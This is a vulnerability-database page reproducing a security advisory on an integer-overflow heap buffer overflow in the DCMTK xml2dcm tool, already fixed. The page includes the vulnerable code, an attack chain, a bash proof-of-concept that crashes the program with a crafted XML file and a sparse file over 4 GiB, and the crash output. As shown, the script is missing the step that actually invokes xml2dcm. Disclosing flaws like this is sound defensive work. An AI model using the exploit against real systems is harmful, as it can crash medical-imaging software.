GCVE-1988-2026-0025
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-048
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
The xml2dcm application and the DcmXMLReader library are vulnerable to
a heap buffer overflow when importing external binary files larger than
4 GiB via the binary="file" XML attribute. The file size is measured as
size_t but narrowed to Uint32 for the heap allocation, while the full
size_t length is used as the fread() read size.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmXMLReader::createBinaryElementFromFile() in
libdcxml/xml2dcm.cc (lines 311-330) imports external binary files
referenced by binary="file" in XML:
const size_t fileSize = OFStandard::getFileSize(filename);
size_t buflen = fileSize;
if (buflen & 1)
buflen++;
if (dcmEVR == EVR_OW)
result = element->createUint16Array(
OFstatic_cast(Uint32, buflen / 2), buf16);
else
result = element->createUint8Array(
OFstatic_cast(Uint32, buflen), buf);
if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...
The file size is measured as size_t, narrowed to Uint32 for allocation,
and then used as the full size_t read length.
The attack chain is as follows:
1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).
2. The attacker crafts a DICOM XML with binary="file" referencing the
large file.
3. xml2dcm reads the file size as size_t (4294967297).
4. createUint8Array() allocates only the low 32 bits (2 bytes).
5. fread() writes 4294967297 bytes into the 2-byte buffer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following exploit script creates a sparse 4294967297-byte file and
a DICOM XML referencing it as Pixel Data (OB binary="file"), and then runs
xml2dcm:
cat > poc.sh << 'EOPOC'
#!/bin/bash
#
# XML binary="file" Length Truncation -> Heap Buffer Overflow
# Proof of concept exploit for SYSS-2026-048
#
# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,
# then uses full size_t for fread — causing heap overflow for files > 4 GiB.
#
# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.
# fileSize = 4294967297 (0x100000001)
# buflen = 4294967298 (odd, rounded up)
#
set -euo pipefail
XML2DCM="xml2dcm"
WORKDIR="/tmp/h4_poc_$$"
SPARSE_SIZE=4294967297 # 4 GiB + 1 byte
echo "=== PoC: XML binary=\"file\" Length Truncation -> Heap Overflow ==="
echo ""
echo "Vulnerability: xml2dcm.cc:311-330"
echo " size_t fileSize = OFStandard::getFileSize(filename); // 64-bit"
echo ""
echo "Configuration:"
echo " Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)"
echo " fread length: $SPARSE_SIZE bytes (full size_t)"
echo " xml2dcm: $XML2DCM"
echo ""
mkdir -p "$WORKDIR"
# Step 1: Create sparse file
SPARSE_FILE="$WORKDIR/large.bin"
echo "[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)..."
truncate -s "$SPARSE_SIZE" "$SPARSE_FILE"
echo "[+] Sparse file: $SPARSE_FILE"
ls -lh "$SPARSE_FILE"
# Step 2: Create XML referencing the sparse file
XML_FILE="$WORKDIR/exploit.xml"
echo ""
echo "[*] Creating XML file with binary=\"file\" reference..."
cat > "$XML_FILE" << XMLEOF
<?xml version="1.0" encoding="UTF-8"?>
<file-format xmlns="http://dicom.offis.de/dcmtk";>
<data-set xfer="1.2.840.10008.1.2">
<element tag="0008,0016" vr="UI">1.2.840.10008.1.2</element>
<element tag="0008,0018" vr="UI">1.2.3.4.5.6.7.8.9</element>
<element tag="7FE0,0010" vr="OB" binary="file">$SPARSE_FILE</element>
</data-set>
</file-format>
XMLEOF
echo "[+] XML file: $XML_FILE"
# Step 3: Run xml2dcm
OUTPUT_FILE="$WORKDIR/output.dcm"
echo ""
echo "[*] Running xml2dcm..."
echo ""
echo "---"
echo "Result:"
echo " Exit code: $EXIT_CODE"
echo " Output:"
echo "$OUTPUT"
echo ""
# Clean up
rm -rf "$WORKDIR"
if [ $EXIT_CODE -ne 0 ]; then
echo "[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE"
echo " The 4 GiB + 1 byte sparse file was allocated as 2 bytes"
echo " and fread wrote 4 GiB into it, corrupting the heap."
else
echo "[-] FAIL: xml2dcm did not crash."
fi
echo ""
echo "=== PoC complete ==="
EOPOC
The exploit causes xml2dcm to abort with "malloc(): invalid size
(unsorted)" (SIGABRT), confirming the truncated allocation and heap
corruption.
=== PoC: XML binary="file" Length Truncation -> Heap Overflow ===
Vulnerability: xml2dcm.cc:311-330
size_t fileSize = OFStandard::getFileSize(filename); // 64-bit
Configuration:
Allocation: Uint32(4294967297) = 2 bytes (truncated!)
fread length: 4294967297 bytes (full size_t)
xml2dcm: xml2dcm
[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...
[+] Sparse file: /tmp/h4_poc_50290/large.bin
- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin
[*] Creating XML file with binary="file" reference...
[+] XML file: /tmp/h4_poc_50290/exploit.xml
[*] Running xml2dcm...
- ---
Result:
Exit code: 134
Output:
malloc(): invalid size (unsorted)
[+] SUCCESS: xml2dcm crashed with exit code 134
The 4 GiB + 1 byte sparse file was allocated as 2 bytes
and fread wrote 4 GiB into it, corrupting the heap.
=== PoC complete ===
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
ebeafd016bcef34021111550cc2a644129d89825 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-048
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
guessed |
{
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"affected": [
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"product": "DICOM Toolkit",
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"type": "finder",
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"value": "Advisory ID: SYSS-2026-048\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe xml2dcm application and the DcmXMLReader library are vulnerable to\na heap buffer overflow when importing external binary files larger than\n4 GiB via the binary=\"file\" XML attribute. The file size is measured as\nsize_t but narrowed to Uint32 for the heap allocation, while the full\nsize_t length is used as the fread() read size.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmXMLReader::createBinaryElementFromFile() in\nlibdcxml/xml2dcm.cc (lines 311-330) imports external binary files\nreferenced by binary=\"file\" in XML:\n\n const size_t fileSize = OFStandard::getFileSize(filename);\n size_t buflen = fileSize;\n if (buflen \u0026 1)\n buflen++;\n\n if (dcmEVR == EVR_OW)\n result = element-\u003ecreateUint16Array(\n OFstatic_cast(Uint32, buflen / 2), buf16);\n else\n result = element-\u003ecreateUint8Array(\n OFstatic_cast(Uint32, buflen), buf);\n\n if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ...\n\nThe file size is measured as size_t, narrowed to Uint32 for allocation,\nand then used as the full size_t read length.\n\nThe attack chain is as follows:\n\n 1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes).\n\n 2. The attacker crafts a DICOM XML with binary=\"file\" referencing the\n large file.\n\n 3. xml2dcm reads the file size as size_t (4294967297).\n\n 4. createUint8Array() allocates only the low 32 bits (2 bytes).\n\n 5. fread() writes 4294967297 bytes into the 2-byte buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a sparse 4294967297-byte file and\na DICOM XML referencing it as Pixel Data (OB binary=\"file\"), and then runs\nxml2dcm:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# XML binary=\"file\" Length Truncation -\u003e Heap Buffer Overflow\n# Proof of concept exploit for SYSS-2026-048\n#\n# xml2dcm measures file size as size_t, narrows to Uint32 for allocation,\n# then uses full size_t for fread \u2014 causing heap overflow for files \u003e 4 GiB.\n#\n# A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space.\n# fileSize = 4294967297 (0x100000001)\n# buflen = 4294967298 (odd, rounded up)\n\n#\n\nset -euo pipefail\n\nXML2DCM=\"xml2dcm\"\nWORKDIR=\"/tmp/h4_poc_$$\"\nSPARSE_SIZE=4294967297 # 4 GiB + 1 byte\n\necho \"=== PoC: XML binary=\\\"file\\\" Length Truncation -\u003e Heap Overflow ===\"\necho \"\"\necho \"Vulnerability: xml2dcm.cc:311-330\"\necho \" size_t fileSize = OFStandard::getFileSize(filename); // 64-bit\"\n\necho \"\"\necho \"Configuration:\"\n\necho \" Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)\"\necho \" fread length: $SPARSE_SIZE bytes (full size_t)\"\necho \" xml2dcm: $XML2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\n# Step 1: Create sparse file\nSPARSE_FILE=\"$WORKDIR/large.bin\"\necho \"[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)...\"\ntruncate -s \"$SPARSE_SIZE\" \"$SPARSE_FILE\"\necho \"[+] Sparse file: $SPARSE_FILE\"\nls -lh \"$SPARSE_FILE\"\n\n# Step 2: Create XML referencing the sparse file\nXML_FILE=\"$WORKDIR/exploit.xml\"\necho \"\"\necho \"[*] Creating XML file with binary=\\\"file\\\" reference...\"\ncat \u003e \"$XML_FILE\" \u003c\u003c XMLEOF\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cfile-format xmlns=\"http://dicom.offis.de/dcmtk\";\u003e\n\n\u003cdata-set xfer=\"1.2.840.10008.1.2\"\u003e\n \u003celement tag=\"0008,0016\" vr=\"UI\"\u003e1.2.840.10008.1.2\u003c/element\u003e\n \u003celement tag=\"0008,0018\" vr=\"UI\"\u003e1.2.3.4.5.6.7.8.9\u003c/element\u003e\n \u003celement tag=\"7FE0,0010\" vr=\"OB\" binary=\"file\"\u003e$SPARSE_FILE\u003c/element\u003e\n\u003c/data-set\u003e\n\u003c/file-format\u003e\nXMLEOF\necho \"[+] XML file: $XML_FILE\"\n\n# Step 3: Run xml2dcm\nOUTPUT_FILE=\"$WORKDIR/output.dcm\"\necho \"\"\necho \"[*] Running xml2dcm...\"\necho \"\"\n\n\n\necho \"---\"\necho \"Result:\"\necho \" Exit code: $EXIT_CODE\"\necho \" Output:\"\necho \"$OUTPUT\"\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n echo \"[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE\"\n echo \" The 4 GiB + 1 byte sparse file was allocated as 2 bytes\"\n echo \" and fread wrote 4 GiB into it, corrupting the heap.\"\nelse\n echo \"[-] FAIL: xml2dcm did not crash.\"\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe exploit causes xml2dcm to abort with \"malloc(): invalid size\n(unsorted)\" (SIGABRT), confirming the truncated allocation and heap\ncorruption.\n\n=== PoC: XML binary=\"file\" Length Truncation -\u003e Heap Overflow ===\n\nVulnerability: xml2dcm.cc:311-330\n size_t fileSize = OFStandard::getFileSize(filename); // 64-bit\n\n\nConfiguration:\n\n Allocation: Uint32(4294967297) = 2 bytes (truncated!)\n fread length: 4294967297 bytes (full size_t)\n xml2dcm: xml2dcm\n\n[*] Creating sparse file of 4294967297 bytes (0 bytes on disk)...\n[+] Sparse file: /tmp/h4_poc_50290/large.bin\n- -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin\n\n[*] Creating XML file with binary=\"file\" reference...\n[+] XML file: /tmp/h4_poc_50290/exploit.xml\n\n[*] Running xml2dcm...\n\n- ---\nResult:\n Exit code: 134\n Output:\nmalloc(): invalid size (unsorted)\n\n[+] SUCCESS: xml2dcm crashed with exit code 134\n The 4 GiB + 1 byte sparse file was allocated as 2 bytes\n and fread wrote 4 GiB into it, corrupting the heap.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\nebeafd016bcef34021111550cc2a644129d89825 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-048\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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